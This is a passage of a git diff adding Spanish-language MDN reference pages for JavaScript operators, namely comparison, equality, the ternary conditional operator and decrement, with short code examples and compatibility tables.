+var bar = new Foo();
+bar.whoIsThere(); // "NamedFoo"
+NamedFoo.name; // ReferenceError: NamedFoo no está definido
+Foo.name; // "NamedFoo"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome para Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Referencia/Operadores/function">expresión <code>function</code></a></li>
+ <li><code><a href="/es/docs/Web/JavaScript/Referencia/Sentencias/class">declaración class</a></code></li>
+ <li><a href="/es/docs/Web/JavaScript/Referencia/Classes">Clases</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/comparacion/index.html b/files/es/web/javascript/referencia/operadores/comparacion/index.html
new file mode 100644
index 0000000000..c60efcaada
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/comparacion/index.html
@@ -0,0 +1,129 @@
+---
+title: Comparación (==)
+slug: Web/JavaScript/Referencia/Operadores/Comparacion
+tags:
+  - JS
+  - JavaScript
+  - Operador de comparacion
+  - Operadores
+  - Referências
+translation_of: Web/JavaScript/Reference/Operators/Equality
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>El operador de comparacion  (<code>==</code>) comprueba si sus dos operandos son iguales y devuelve un resultado booleano. A diferencia del operador de igualdad estricta (<code>===</code>), es que este convierte y compara operandos que son de diferentes tipos.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-equality.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">x == y
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Los operadores de igualdad (<code>==</code>y <code>!=</code>) Utilizan el algoritmo de comparación de igualdad abstracta para comparar dos operandos. Esto se puede resumir a grandes rasgos como:</p>
+
+<ul>
+ <li>Si los operandos ambos son objetos, devuelve <code>true </code>solo si ambos operandos hacen referencia al mismo objeto.</li>
+ <li>Si un operando es <code>null</code>y el otro <code>undefined</code>, devuelve verdadero(<code>true</code>).</li>
+ <li>Si los operandos son de diferente tipos, intenta convertirlos al mismo tipo antes de comparar:
+  <ul>
+   <li>Al comparar un número con una cadena, convierte la cadena en un valor numérico.</li>
+   <li>Si uno de los operandos es booleano, convierte el operando booleano en 1 si es verdadero y en 0 en el caso de falso.</li>
+   <li>Si uno de los operandos es un objeto y el otro es un número o una cadena, convierte el objeto en una primitiva utilizando los métodos <code>valueOf()</code>y <code>toString()</code> del objeto.</li>
+  </ul>
+ </li>
+ <li>Si los operandos tienen el mismo tipo, se comparan de la siguiente manera:
+  <ul>
+   <li><code>String</code>: devuelve verdadero solo si ambos operandos tienen los mismos caracteres y en el mismo orden.</li>
+   <li><code>Number</code>: devuelve verdadero solo si ambos operandos tienen el mismo valor. <code>+0</code> y <code>-0</code> se tratan como el mismo valor. Si alguno de los operandos es <code>NaN</code>, devuelve falso.</li>
+   <li><code>Boolean</code>: retorna verdadero solo si ambos operandos son verdaderos o falsos.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>La diferencia más notable entre este operador y el operador de igualdad estricta (<code>===</code>) es que el operador de igualdad estricta no realiza la conversión de tipos. </p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Comparación_sin_conversión_de_tipo">Comparación sin conversión de tipo</h3>
+
+<pre class="brush: js notranslate">1 == 1;              // true
+"Hola" == "Hola";  // true</pre>
+
+<h3 id="Comparación_con_conversión_de_tipos">Comparación con conversión de tipos</h3>
+
+<pre class="brush: js notranslate">"1" ==  1;            // true
+1 == "1";             // true
+0 == false;           // true
+0 == null;            // false
+0 == undefined;       // false
+0 == !!null;          // true, Operador Logico NOT
+0 == !!undefined;     // true, Operador Logico NOT
+null == undefined;    // true
+
+const number1 = new Number(3);
+const number2 = new Number(3);
+number1 == 3;         // true
+number1 == number2;   // false</pre>
+
+<h3 id="Comparación_de_objetos">Comparación de objetos</h3>
+
+<pre class="brush: js notranslate">const object1 = {"key": "value"}
+const object2 = {"key": "value"};
+
+object1 == object2 // false
+object2 == object2 // true</pre>
+
+<h3 id="Comparar_String_y_objetos_String">Comparar String y objetos String</h3>
+
+<p>Tenga en cuenta que las cadenas construidas con <code>new String() </code>son objetos. Si compara uno de estos con un String literal, el objeto String se convertirá en un <code>String</code> literal y se comparará el contenido. Sin embargo, si ambos operandos son objetos de tipo String, entonces se comparan como objetos y deben hacer referencia al mismo objeto para que la comparación sea exitosa:</p>
+
+<pre class="brush: js notranslate">const string1 = "Hola";
+const string2 = String("Hola");
+const string3 = new String("Hola");
+const string4 = new String("Hola");
+
+console.log(string1 == string2); // true
+console.log(string1 == string3); // true
+console.log(string2 == string3); // true
+console.log(string3 == string4); // false
+console.log(string4 == string4); // true</pre>
+
+<h3 id="Comparación_de_fechas_y_cadenas">Comparación de fechas y cadenas</h3>
+
+<pre class="brush: js notranslate">const d = new Date('December 17, 1995 03:24:00');
+const s = d.toString(); // Por ejemplo: "Sun Dec 17 1995 03:24:00 GMT-0800 (Hora estándar del Pacífico)"
+console.log(d == s);    //true</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-equality-operators', 'Equality operators')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+
+
+<p>{{Compat("javascript.operators.equality")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Inequality">Inequality operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality">Strict equality operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Strict_inequality">Strict inequality operator</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/comparison_operators/index.html b/files/es/web/javascript/referencia/operadores/comparison_operators/index.html
new file mode 100644
index 0000000000..e4cbd93b31
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/comparison_operators/index.html
@@ -0,0 +1,261 @@
+---
+title: Operadores de Comparación
+slug: Web/JavaScript/Referencia/Operadores/Comparison_Operators
+tags:
+  - JavaScript
+  - Operador
+  - Referencia
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>JavaScript tiene comparaciones estrictas y de conversión de tipos. Una comparación estricta (por ejemplo, <code>===</code>) solo es verdadera si los operandos son del mismo tipo y los contenidos coinciden. La comparación abstracta más comúnmente utilizada (por ejemplo, <code>==</code>) convierte los operandos al mismo tipo antes de hacer la comparación. Para las comparaciones abstractas relacionales (p. Ej., <code>&lt;=</code>), Los operandos primero se convierten en primitivos, y luego en el mismo tipo, antes de la comparación.</p>
+
+<p>Las cadenas se comparan en base al orden lexicográfico estándar, utilizando valores Unicode.</p>
+
+<pre class="brush: js notranslate">console.log(1 == 1)
+// Esperamos True
+
+console.log("1" == 1 )
+// Esperamos true
+
+console.log( 1 === 1)
+// Esperamos true
+
+console.log( "1" === 1)
+// Esperamos false
+</pre>
+
+<p>Características de las comparaciones:</p>
+
+<ul>
+ <li>Dos cadenas son estrictamente iguales cuando tienen la misma secuencia de caracteres, la misma longitud y los mismos caracteres en las posiciones correspondientes.</li>
+ <li>Dos números son estrictamente iguales cuando son numéricamente iguales (tienen el mismo valor numérico). <a href="/es/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a> no es igual a nada, incluido NaN. Los ceros positivos y negativos son iguales entre sí. </li>
+ <li>Dos operandos booleanos son estrictamente iguales si ambos son <code>true</code> o ambos son <code>false</code>.</li>
+ <li>Dos objetos distintos nunca son iguales para comparaciones estrictas o abstractas.</li>
+ <li>Una expresión que compara objetos solo es verdadera si los operandos hacen referencia al mismo objeto.</li>
+ <li>Los tipos Null y Undefined son estrictamente iguales a ellos mismos y abstractivamente iguales entre sí.</li>
+</ul>
+
+<h2 id="Operadores_de_igualdad">Operadores de igualdad</h2>
+
+<h3 id="Igualdad"><a name="Equality">Igualdad (==)</a></h3>
+
+<p>El operador de igualdad convierte los operandos si <strong>no son del mismo tipo</strong>, luego aplica una comparación estricta. Si <strong>ambos operandos son objetos</strong>, entonces JavaScript compara las referencias internas que son iguales cuando los operandos se refieren al mismo objeto en la memoria.</p>
+
+<h4 id="Sintaxis">Sintaxis</h4>
+
+<pre class="syntaxbox notranslate">x == y
+</pre>
+
+<h4 id="Ejemplos">Ejemplos</h4>
+
+<pre class="brush: js notranslate">1    ==  1         // true
+'1'  ==  1         // true
+1    == '1'        // true
+0    == false      // true
+0    == null       // false
+var object1 = {'key': 'value'}, object2 = {'key': 'value'};
+object1 == object2 // false
+0    == undefined  // false
+null == undefined  // true
+</pre>
+
+<h3 id="Desigualdad_!"><a name="Inequality">Desigualdad (!=)</a></h3>
+
+<p>El operador de desigualdad devuelve verdadero si los operandos no son iguales. Si los dos operandos <strong>no son del mismo tipo</strong>, JavaScript intenta convertir los operandos a un tipo apropiado para la comparación. Si <strong>ambos operandos son objetos</strong>, entonces JavaScript compara las referencias internas que no son iguales cuando los operandos se refieren a diferentes objetos en la memoria.</p>
+
+<h4 id="Sintaxis_2">Sintaxis</h4>
+
+<pre class="syntaxbox notranslate">x != y</pre>
+
+<h4 id="Ejemplos_2">Ejemplos</h4>
+
+<pre class="brush: js notranslate">1 !=   2     // true
+1 !=  '1'    // false
+1 !=  "1"    // false
+1 !=  true   // false
+0 !=  false  // false
+</pre>
+
+<h3 id="Identidad_igualdad_estricta"><a name="Identity">Identidad / igualdad estricta (===)</a></h3>
+
+<p>El operador de identidad devuelve verdadero si los operandos son estrictamente iguales (ver arriba) <strong>sin conversión de tipo</strong>.</p>
+
+<h4 id="Sintaxis_3">Sintaxis</h4>
+
+<pre class="syntaxbox notranslate">x === y</pre>
+
+<h4 id="Ejemplos_3">Ejemplos</h4>
+
+<pre class="brush: js  notranslate">3 === 3   // true
+3 === '3' // false
+var object1 = {'key': 'value'}, object2 = {'key': 'value'};
+object1 === object2 // false</pre>
+
+
+
+<h3 id="Sin_identidad_desigualdad_estricta_!"><a name="Nonidentity">Sin identidad / desigualdad estricta (!==)</a></h3>
+
+<p>El operador sin identidad devuelve verdadero si los operandos <strong>no son iguales y / o no del mismo tipo</strong>.</p>
+
+<h4 id="Sintaxis_4">Sintaxis</h4>
+
+<pre class="syntaxbox notranslate">x !== y</pre>
+
+<h4 id="Ejemplos_4">Ejemplos</h4>
+
+<pre class="brush: js notranslate">3 !== '3' // true
+4 !== 3   // true
+</pre>
+
+<h2 id="Operadores_relacionales">Operadores relacionales</h2>
+
+<p>Cada uno de estos operadores llamará a la función <code>valueOf()</code> en cada operando antes de realizar una comparación.</p>
+
+<h3 id="Operador_mayor_que_>"><a name="Greater_than_operator">Operador mayor que (&gt;)</a></h3>
+
+<p>El operador mayor que, devuelve verdadero si el operando izquierdo es mayor que el operando derecho.</p>
+
+<h4 id="Sintaxis_5">Sintaxis</h4>
+
+<pre class="syntaxbox notranslate">x &gt; y</pre>
+
+<h4 id="Ejemplos_5">Ejemplos</h4>
+
+<pre class="brush: js notranslate">4 &gt; 3 // true
+</pre>
+
+<h3 id="Operador_mayor_o_igual_>"><a name="Greater_than_or_equal_operator">Operador mayor o igual (&gt;=)</a></h3>
+
+<p>El operador mayor o igual que, devuelve verdadero si el operando izquierdo es mayor o igual que el operando derecho.</p>
+
+<h4 id="Sintaxis_6">Sintaxis</h4>
+
+<pre class="syntaxbox notranslate"> x &gt;= y</pre>
+
+<h4 id="Ejemplos_6">Ejemplos</h4>
+
+<pre class="brush: js notranslate">4 &gt;= 3 // true
+3 &gt;= 3 // true
+</pre>
+
+<h3 id="Operador_menor_que_&lt;"><a name="Less_than_operator"> Operador menor que (&lt;)</a></h3>
+
+<p>El operador menor que devuelve verdadero si el operando de la izquierda es menor que el operando de la derecha.</p>
+
+<h4 id="Sintaxis_7">Sintaxis</h4>
+
+<pre class="syntaxbox notranslate"> x &lt; y</pre>
+
+<h4 id="Ejemplos_7">Ejemplos</h4>
+
+<pre class="brush: js notranslate">3 &lt; 4 // true
+</pre>
+
+<h3 id="Operador_menor_o_igual_&lt;"><a id="Less_than_or_equal_operator" name="Less_than_or_equal_operator">Operador menor o igual (&lt;=)</a></h3>
+
+<p>El operador menor o igual devuelve verdadero si el operando izquierdo es menor o igual que el operando derecho.</p>
+
+<h4 id="Sintaxis_8">Sintaxis</h4>
+
+<pre class="syntaxbox notranslate"> x &lt;= y</pre>
+
+<h4 id="Ejemplos_8">Ejemplos</h4>
+
+<pre class="brush: js notranslate">3 &lt;= 4 // true
+</pre>
+
+<h2 id="Usando_los_operadores_de_igualdad">Usando los operadores de igualdad</h2>
+
+<p>Los operadores de igualdad estándar (<code>==</code> y <code>!=</code>) utilizan el <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9.3">Algoritmo de Comparación de Igualdad Abstracta</a> para comparar dos operandos. Si los operandos son de tipos diferentes, intentará convertirlos al mismo tipo antes de hacer la comparación, por ejemplo, en la expresión <code>5 == '5'</code>, la cadena de la derecha se convierte a {{jsxref("Number")}} antes de realizar la comparación.</p>
+
+<p>Los operadores de igualdad estricta (<code>===</code> y <code>!==</code>) usan el <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9.6">Algoritmo de Comparación de Igualdad Estricta</a> y están destinados a realizar comparaciones de igualdad en operandos del mismo tipo. Si los operandos son de tipos diferentes, el resultado siempre es <code>false</code>, entonces <code>5 !== '5'</code>.</p>
+
+<p>Utilice operadores de igualdad estrictos si los operandos deben ser de un tipo específico así como de valor o si el tipo exacto de los operandos es importante. De lo contrario, utilice los operadores de igualdad estándar, que le permiten comparar la identidad de dos operandos, incluso si no son del mismo tipo.</p>
+
+<p>Cuando la conversión de tipo está involucrada en la comparación (es decir, comparación no estricta), JavaScript convierte los tipos {{jsxref("String")}}, {{jsxref("Number")}}, {{jsxref("Boolean")}} o {{jsxref("Object")}} operandos de la siguiente manera:</p>
+
+<ul>
+ <li>Al comparar un número y una cadena, la cadena se convierte en un valor numérico. JavaScript intenta convertir el literal numérico de cadena a un valor de tipo <code>Number</code>. Primero, un valor matemático se deriva del literal numérico de cadena. A continuación, este valor se redondea al valor de tipo <code>Number</code> más cercano.</li>
+ <li>Si uno de los operandos es <code>Boolean</code>, el operando <code>Boolean</code> se convierte en 1 si es <code>true</code> y +0 si es <code>false</code>.</li>
+ <li>Si un objeto se compara con un número o cadena, JavaScript intenta devolver el valor predeterminado para el objeto. Los operadores intentan convertir el objeto a un valor primitivo, un valor <code>String</code> o <code>Number</code>, utilizando los métodos <code>valueOf</code> y <code>toString</code> de los objetos. Si falla este intento de convertir el objeto, se genera un error de tiempo de ejecución.</li>
+ <li>Tenga en cuenta que un objeto se convierte en una primitiva si, y solo si, su comparando es una primitiva. Si ambos operandos son objetos, se comparan como objetos, y la prueba de igualdad es verdadera solo si ambos refieren el mismo objeto.</li>
+</ul>
+
+<div class="note"><strong>Nota:</strong> Los objetos de cadena son Tipo Objeto, no String! Los objetos de cadena rara vez se utilizan, por lo que los siguientes resultados pueden ser sorprendentes:</div>
+
+<pre class="brush:js notranslate">// true, ya que ambos operandos son de tipo String (es decir, primitivas de cadena):
+'foo' === 'foo'
+
+var a = new String('foo');
+var b = new String('foo');
+
+// false como a y b son tipo Objeto y referencia a diferentes objetos
+a == b
+
+// false como a y b son tipo Objeto y referencia a diferentes objetos
+a === b
+
+// true como a y 'foo' son de tipo diferente y, el Objeto (a)
+// se convierte en cadena 'foo' antes de la comparación
+a == 'foo'</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>
+    <p>Agrega <code>===</code> y <code>!==</code> operadores. Implementado en JavaScript 1.3</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.8')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>
+    <p>Definido en varias secciones de la especificación: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.8">Operadores Relacionales</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9">Operadores de Igualdad</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-relational-operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>
+    <p>Definido en varias secciones de la especificación: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-relational-operators">Operadores Relacionales</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-equality-operators">Operadores de Igualdad</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>
+    <p>Definido en varias secciones de la especificación: <a href="http://tc39.github.io/ecma262/#sec-relational-operators">Operadores Relacionales</a>, <a href="http://tc39.github.io/ecma262/#sec-equality-operators">Operadores de Igualdad</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("javascript.operators.comparison")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.is()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li><a href="/es/docs/Web/JavaScript/Equality_comparisons_and_sameness">Comparaciones de igualdad y uniformidad</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/conditional_operator/index.html b/files/es/web/javascript/referencia/operadores/conditional_operator/index.html
new file mode 100644
index 0000000000..6b48295902
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/conditional_operator/index.html
@@ -0,0 +1,171 @@
+---
+title: Operador condicional (ternario)
+slug: Web/JavaScript/Referencia/Operadores/Conditional_Operator
+tags:
+  - JavaScript
+  - Operador
+translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div>El<strong> operador condicional </strong>(<strong>ternario</strong>) es el único operador en JavaScript que tiene tres operandos. Este operador se usa con frecuencia como atajo para la instrucción <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Sentencias/if...else">if</a>.</div>
+
+<div> </div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>condición </em>? <em>expr1</em> : <em>expr2</em> </pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>condición</code></dt>
+ <dd>Una expresión que se evalúa como true o false.</dd>
+ <dt>
+ <div class="syntaxbox"><code>expr1</code>, <code>expr2</code></div>
+ </dt>
+ <dd>Expresión con valores de algún tipo.</dd>
+ <dt>
+ <h2 id="Descripción">Descripción</h2>
+ </dt>
+</dl>
+
+<p>Si la <code>condición</code> es <code>true</code>, el operador retorna el valor de la <code>expr1</code>; de lo contrario,  devuelve el valor de <code>expr2</code>. Por ejemplo, para mostrar un mensaje diferente en función del valor de la variable <em><code>isMember,</code></em> se puede usar esta declaración:</p>
+
+<pre class="brush: js">"La Cuota es de:  " + (isMember ? "$2.00" : "$10.00")
+</pre>
+
+<p>También puedes asignar variables dependiendo del resultado de la condición ternaria:</p>
+
+<pre class="brush: js">var elvisLives = Math.PI &gt; 4 ? "Sip" : "Nop";</pre>
+
+<p>También es posible realizar evaluaciones ternarias múltiples (Nota: El operador condicional es asociativo):</p>
+
+<pre class="brush: js">var firstCheck = false,
+    secondCheck = false,
+    access = firstCheck ? "Acceso Denegado" : secondCheck ? "Acceso Denegado" : "Acceso Permitido";
+
+console.log( access ); // muestra "Acceso Permitido"</pre>
+
+<p>También puede usar operaciones ternarias en espacio vacío con el propósito de realizar diferentes operaciones:</p>
+
+<pre class="brush: js">var stop = false, age = 16;
+
+age &gt; 18 ? location.assign("continue.html") : stop = true;
+</pre>
+
+<p>También puede realizar más de una operación por caso, separándolas con una coma:</p>
+
+<pre class="brush: js">var stop = false, age = 23;
+
+age &gt; 18 ? (
+    alert("OK, puedes continuar."),
+    location.assign("continue.html")
+) : (
+    stop = true,
+    alert("Disculpa, eres menor de edad!")
+);
+</pre>
+
+<p>También puede realizar más de una operación durante la asignación de un valor. En este caso, <strong><em>el último valor separado por una coma del paréntesis </em>será el valor asignado</strong>.</p>
+
+<pre class="brush: js">var age = 16;
+
+var url = age &gt; 18 ? (
+    alert("OK, puedes continuar."),
+    // alert devuelve "undefined", pero será ignorado porque
+    // no es el último valor separado por comas del paréntesis
+    "continue.html" // el valor a ser asignado si age &gt; 18
+) : (
+    alert("Eres menor de edad!"),
+    alert("Disculpa :-("),
+    // etc. etc.
+    "stop.html" // el valor a ser asignado si !(age &gt; 18)
+);
+
+location.assign(url); // "stop.html"</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-conditional-operator', 'Conditional Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.12', 'The conditional operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.12', 'The conditional operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial implementada en JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if statement</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/decremento/index.html b/files/es/web/javascript/referencia/operadores/decremento/index.html
new file mode 100644
index 0000000000..01fa5f0ee2
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/decremento/index.html
@@ -0,0 +1,83 @@
+---
+title: Decremento(--)
+slug: Web/JavaScript/Referencia/Operadores/Decremento
+tags:
+  - Decremento
+  - JavaScript
+  - JavaScript basico
+  - Operadores
+translation_of: Web/JavaScript/Reference/Operators/Decrement
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>El operador de decremento (--) disminuye (o resta de a uno) su operando y retorna un valor.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-decrement.html")}}</div>
+
+<div></div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><strong>Operadores:</strong> <var>x</var>-- o --<var>x</var>
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si usamos la forma de sufijo, operador después del operando (por ejemplo, <code>x--</code>), el operador de disminución disminuye y devuelve el valor antes de disminuir.</p>
+
+<p>Si se usamos la forma de prefijo, operador antes del operando (por ejemplo, <code>--x</code>), el operador de disminución disminuye y devuelve el valor después de disminuir.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Sufijo">Usando Sufijo </h3>
+
+<pre class="brush: js notranslate">let x = 3;
+y = x--;
+
+// y = 3
+// x = 2
+</pre>
+
+<h3 id="Usando_Prefijo">Usando Prefijo</h3>
+
+<pre class="brush: js notranslate">let a = 2;
+b = --a;
+
+// a = 1
+// b = 1
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-postfix-decrement-operator', 'Decrement operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("javascript.operators.decrement")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Addition">Addition operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Subtraction">Subtraction operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Division">Division operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Multiplication">Multiplication operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Remainder">Remainder operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Exponentiation">Exponentiation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Increment">Increment operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_negation">Unary negation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_plus">Unary plus operator</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/delete/index.html b/files/es/web/javascript/referencia/operadores/delete/index.html
new file mode 100644
index 0000000000..99ec3e73dd
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/delete/index.html
@@ -0,0 +1,242 @@
+---
+title: operador delete
+slug: Web/JavaScript/Referencia/Operadores/delete
+translation_of: Web/JavaScript/Reference/Operators/delete
+---
+<div>
+<div>{{jsSidebar("Operators")}}</div>
+</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El operador <code>delete</code>  elimina una propiedad de un objeto.</p>
+
